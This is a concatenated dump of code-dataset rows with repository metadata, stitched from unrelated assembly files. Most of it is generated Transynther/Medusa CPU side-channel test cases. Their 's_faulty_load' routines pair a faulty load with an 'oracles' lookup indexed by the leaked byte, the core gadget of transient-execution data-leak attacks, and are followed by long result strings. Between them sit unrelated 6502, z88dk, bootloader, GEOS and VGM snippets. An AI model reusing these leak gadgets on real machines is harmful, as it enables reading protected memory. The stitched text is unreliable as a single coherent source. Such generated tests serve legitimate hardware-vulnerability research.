clflush (%r14)
nop
nop
nop
nop
nop
xor $33856, %rax
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
and $0xffffffffffffffc0, %r14
movntdq %xmm3, (%r14)
nop
and $53814, %rcx
lea addresses_D_ht+0x9c3d, %rsi
lea addresses_WT_ht+0x3797, %rdi
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov $2, %rcx
rep movsq
nop
add %rdi, %rdi
lea addresses_WC_ht+0x18929, %rcx
sub %rdi, %rdi
mov $0x6162636465666768, %r15
movq %r15, (%rcx)
nop
nop
xor $36902, %rcx
lea addresses_normal_ht+0x257, %rsi
lea addresses_normal_ht+0x4e97, %rdi
and %r8, %r8
mov $61, %rcx
rep movsq
and $37694, %r14
lea addresses_A_ht+0x9a17, %rax
clflush (%rax)
nop
nop
cmp $24278, %r8
movups (%rax), %xmm2
vpextrq $0, %xmm2, %r14
nop
add %rdi, %rdi
lea addresses_WC_ht+0x197b, %rax
nop
and %r14, %r14
mov (%rax), %r8w
xor %rdi, %rdi
lea addresses_UC_ht+0x1ce91, %rdi
nop
nop
sub $62808, %rdx
movb (%rdi), %cl
inc %rdx
lea addresses_UC_ht+0xbb57, %rax
nop
nop
xor %r15, %r15
movl $0x61626364, (%rax)
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0xec17, %rsi
nop
and %r14, %r14
mov $0x6162636465666768, %r8
movq %r8, %xmm5
and $0xffffffffffffffc0, %rsi
movaps %xmm5, (%rsi)
nop
nop
xor %r8, %r8
lea addresses_UC_ht+0x11a8f, %rsi
lea addresses_WT_ht+0x2ddf, %rdi
nop
nop
nop
xor $27556, %rdx
mov $9, %rcx
rep movsq
nop
nop
nop
nop
nop
and $39266, %rax
lea addresses_D_ht+0x4ae7, %r8
nop
nop
nop
sub $37547, %rax
vmovups (%r8), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r15
nop
nop
add %rdx, %rdx
lea addresses_A_ht+0x1b197, %r14
nop
nop
lfence
mov $0x6162636465666768, %rax
movq %rax, %xmm6
movups %xmm6, (%r14)
and $52642, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_UC+0x9217, %rsi
lea addresses_WC+0xc6bb, %rdi
nop
nop
nop
nop
and $60243, %r13
mov $13, %rcx
rep movsl
nop
nop
cmp $64005, %rcx
// REPMOV
lea addresses_RW+0x1c897, %rsi
mov $0x275, %rdi
nop
nop
nop
nop
nop
dec %rax
mov $14, %rcx
rep movsq
nop
sub $7639, %rsi
// Faulty Load
lea addresses_normal+0x16e97, %r8
nop
and %rbp, %rbp
mov (%r8), %r13d
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_UC'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_RW'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_P'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 1, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 35.464286 | 2,999 | 0.657855 |
5c3d7f203e69a4a9d3b74f1ef396eac261536f65 | 40 | asm | Assembly | src/main/fragment/mos6502-common/_deref_pwuz1=vbuaa.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/_deref_pwuz1=vbuaa.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/_deref_pwuz1=vbuaa.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | ldy #0
sta ({z1}),y
tya
iny
sta ({z1}),y | 8 | 12 | 0.55 |
4e11c38db3811f8a6683485497adbadc3ce2f966 | 6,661 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_234.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_234.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_234.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x14464, %rdx
nop
nop
nop
nop
sub %rbp, %rbp
mov (%rdx), %rsi
sub %r13, %r13
lea addresses_WC_ht+0x7500, %rsi
lea addresses_normal_ht+0x103b0, %rdi
clflush (%rdi)
nop
nop
nop
nop
add $1642, %rbp
mov $78, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_normal_ht+0x4f20, %rsi
nop
nop
dec %rbx
mov $0x6162636465666768, %r13
movq %r13, %xmm2
movups %xmm2, (%rsi)
nop
nop
nop
nop
sub $49143, %rdi
lea addresses_normal_ht+0x76e4, %rsi
lea addresses_A_ht+0x12d24, %rdi
nop
nop
nop
sub $61033, %r15
mov $119, %rcx
rep movsl
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x19fd8, %rsi
lea addresses_D_ht+0x11430, %rdi
clflush (%rdi)
nop
nop
cmp $36048, %rdx
mov $63, %rcx
rep movsb
nop
nop
nop
sub $54789, %rsi
lea addresses_A_ht+0xf430, %rsi
clflush (%rsi)
dec %rbx
movl $0x61626364, (%rsi)
nop
nop
nop
cmp $11974, %rdx
lea addresses_A_ht+0x11e30, %rdx
nop
and $54471, %rbp
mov $0x6162636465666768, %rbx
movq %rbx, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
nop
add $3723, %rbp
lea addresses_WC_ht+0x1e030, %rsi
lea addresses_D_ht+0x127b0, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $115, %rcx
rep movsq
nop
nop
nop
nop
add %rbp, %rbp
lea addresses_D_ht+0x19650, %rsi
lea addresses_D_ht+0x4830, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
sub %r15, %r15
mov $18, %rcx
rep movsq
nop
nop
and $33605, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %rax
push %rbp
push %rbx
push %rdx
// Load
lea addresses_UC+0x10030, %rdx
nop
nop
nop
dec %rbp
mov (%rdx), %ebx
nop
nop
nop
nop
nop
xor %rax, %rax
// Faulty Load
lea addresses_UC+0x10030, %rbx
nop
nop
nop
nop
add %rdx, %rdx
mov (%rbx), %eax
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 34.874346 | 2,999 | 0.661762 |
2ae943e0cde24012b3a9943670bf647ea0313416 | 145 | asm | Assembly | libsrc/_DEVELOPMENT/inttypes/c/sdcc_iy/imaxabs_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/inttypes/c/sdcc_iy/imaxabs_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/inttypes/c/sdcc_iy/imaxabs_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; intmax_t imaxabs_fastcall(intmax_t j)
SECTION code_inttypes
PUBLIC _imaxabs_fastcall
EXTERN _labs_fastcall
defc _imaxabs = _labs_fastcall
| 13.181818 | 39 | 0.841379 |
cb87a6fbfd05e606e856578b95f3a22109758e7b | 245 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_ide_get_lfn_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_ide_get_lfn_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_ide_get_lfn_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; unsigned char esx_ide_get_lfn(struct esx_lfn *dir, struct esx_cat_entry *query)
SECTION code_esxdos
PUBLIC esx_ide_get_lfn_callee
EXTERN asm_esx_ide_get_lfn
esx_ide_get_lfn_callee:
pop hl
pop de
ex (sp),hl
jp asm_esx_ide_get_lfn
| 15.3125 | 81 | 0.804082 |
cb8f593bf81163325b16a935ee03841686b1722a | 880 | asm | Assembly | os/bootloader/32bit_print.asm | stplasim/basic-os | 36d951e2e2adcbae75a6066b464552b61a3d7f2c | [
"MIT"
] | 2 | 2021-03-21T09:32:19.000Z | 2022-01-28T22:22:41.000Z | os/bootloader/32bit_print.asm | stplasim/basic-os | 36d951e2e2adcbae75a6066b464552b61a3d7f2c | [
"MIT"
] | null | null | null | os/bootloader/32bit_print.asm | stplasim/basic-os | 36d951e2e2adcbae75a6066b464552b61a3d7f2c | [
"MIT"
] | null | null | null | ; This print string routine works in 32-bit mode
; Here we don't have BIOS interrupts. We directly manipulating the VGA video memory instead of calling int 0x10
; The VGA memory starts at address 0xb8000 and it has a text mode which is useful to avoid manipulating direct pixels.
[bits 32] ; using 32-bit protected mode
; this is how constants are defined
VIDEO_MEMORY equ 0xb8000
WHITE_ON_BLACK equ 0x0f ; the color byte for each character
print_string_pm:
pusha
mov edx, VIDEO_MEMORY
print_string_pm_loop:
mov al, [ebx] ; [ebx] is the address of our character
mov ah, WHITE_ON_BLACK
cmp al, 0 ; check if end of string
je print_string_pm_done
mov [edx], ax ; store character + attribute in video memory
add ebx, 1 ; next char
add edx, 2 ; next video memory position
jmp print_string_pm_loop
print_string_pm_done:
popa
ret | 27.5 | 118 | 0.738636 |
0dc058fcf8f0ed98986f909cf6ef47c43e55e4e8 | 3,578 | asm | Assembly | Library/Config/Pref/prefStringItem.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Config/Pref/prefStringItem.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Config/Pref/prefStringItem.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: prefStringItem.asm
AUTHOR: Chris Boyke
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 1/92 Initial version.
DESCRIPTION:
$Id: prefStringItem.asm,v 1.1 97/04/04 17:50:17 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefStringItemSetInitFileString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION:
PASS: *ds:si = PrefStringItemClass object
ds:di = PrefStringItemClass instance data
es = Segment of PrefStringItemClass.
cx:dx = string to set
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 1/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefStringItemSetInitFileString method dynamic PrefStringItemClass,
MSG_PREF_STRING_ITEM_SET_INIT_FILE_STRING
uses ax,cx,dx,bp
.enter
push si ; object chunk handle
; Free the current chunk
mov si, ds:[di].PSII_initFileString
tst si
jz afterFree
mov ax, si
call LMemFree
afterFree:
; Get length, including null terminator (.ini strings are SBCS)
mov es, cx
mov di, dx
mov cx, -1
clr al
repne scasb
not cx
; allocate new chunk & copy string (convert to DBCS for DBCS)
DBCS < shl cx, 1 ; # SBCS chars -> # bytes >
clr al
call LMemAlloc
mov di, ax ; new chunk handle
mov di, ds:[di]
mov si, dx ; source
segxchg ds, es
SBCS < rep movsb >
DBCS < clr ah >
DBCS <copyLoop: >
DBCS < lodsb >
DBCS < stosw >
DBCS < loop copyLoop >
segxchg ds, es
; Now, deref and store init file string
pop si
mov di, ds:[si]
add di, ds:[di].Pref_offset
mov ds:[di].PSII_initFileString, ax
.leave
ret
PrefStringItemSetInitFileString endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefStringItemCheckIfInInitFileKey
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the string bound to this PrefStringItem is in the
string stored under the appropriate init file key.
CALLED BY: MSG_PREF_STRING_ITEM_CHECK_IF_IN_INIT_FILE_KEY
PASS: *ds:si = PrefStringItem object
ds:di = PrefStringItemInstance
ss:bp = PrefItemGroupStringVars
RETURN: carry set if it's there
carry clear if it's not
DESTROYED: ax, cx, dx
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/18/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefStringItemCheckIfInInitFileKey method dynamic PrefStringItemClass,
MSG_PREF_STRING_ITEM_CHECK_IF_IN_INIT_FILE_KEY
locals local PrefItemGroupStringVars
uses bp
.enter inherit
sub bp, offset locals ; point back to frame so we don't have
; to change CheckStringInBuffer and
; all its callers -- ardeb 4/9/93
mov bx, ds:[di].PSII_initFileString
tst bx
jz done
mov bx, ds:[bx]
call CheckStringInBuffer
done:
.leave
ret
PrefStringItemCheckIfInInitFileKey endm
| 22.789809 | 78 | 0.567356 |
dd09a3ab7bfd50f6e89d71abca726c05ff28a45a | 340 | asm | Assembly | src/chips/UPD7759.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | 6 | 2020-04-21T17:26:27.000Z | 2021-09-25T18:41:01.000Z | src/chips/UPD7759.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | null | null | null | src/chips/UPD7759.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | null | null | null | ;
; VGM UPD7759 chip
;
UPD7759: MACRO
super: Chip UPD7759_name, Header.uPD7759Clock, System_Return
ENDM
; ix = this
; iy = header
UPD7759_Construct: equ Chip_Construct
; jp Chip_Construct
; ix = this
UPD7759_Destruct: equ Chip_Destruct
; jp Chip_Destruct
;
SECTION RAM
UPD7759_instance: UPD7759
ENDS
UPD7759_name:
db "uPD7759",0
| 13.076923 | 61 | 0.758824 |
24fb08ef1dff6ec685792e40c9835e173b235cfa | 7,607 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1421.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
